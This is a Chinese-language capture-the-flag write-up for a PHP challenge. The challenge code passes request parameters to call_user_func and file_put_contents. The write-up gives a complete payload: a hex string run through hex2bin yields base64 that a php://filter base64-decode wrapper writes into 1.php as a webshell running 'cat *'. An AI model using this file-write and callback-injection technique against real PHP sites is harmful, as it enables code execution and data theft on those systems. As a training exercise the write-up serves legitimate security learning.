<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
?>
首先我们看到file_put_contents函数要条件反射
1.它可以配合伪协议
file_put_contents()
//用来写文件进去,其中文件名参数是支持伪协议的,用于将第二个参数content进行过滤器后再写进文件里面去
file_put_contents($_POST[‘filename’], “”);
当然这道题可以学到很多东西,首先我们先分析一下
v3得是一个文件把,写入一些命令执行的东西,那我们可以通过伪协议直接生成文件
?V3=php://filter/write=convert.base64-decode/resource=1.php
新姿势通过十六进制配合call_user_func函数进行写入命令执行
思维太局限于assert函数配合phpinfo(),我们可以通过十六进制
v2=115044383959474e6864434171594473
解码会得到PD89YGNhdCAqYDs(<?=cat *
;)
其实就是通过解码(4字节一组),能绕过substr的截断

发现已经绕过截断函数
然后payload:
GET v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64- decode/resource=1.php POST v1=hex2bin 最后访问1.php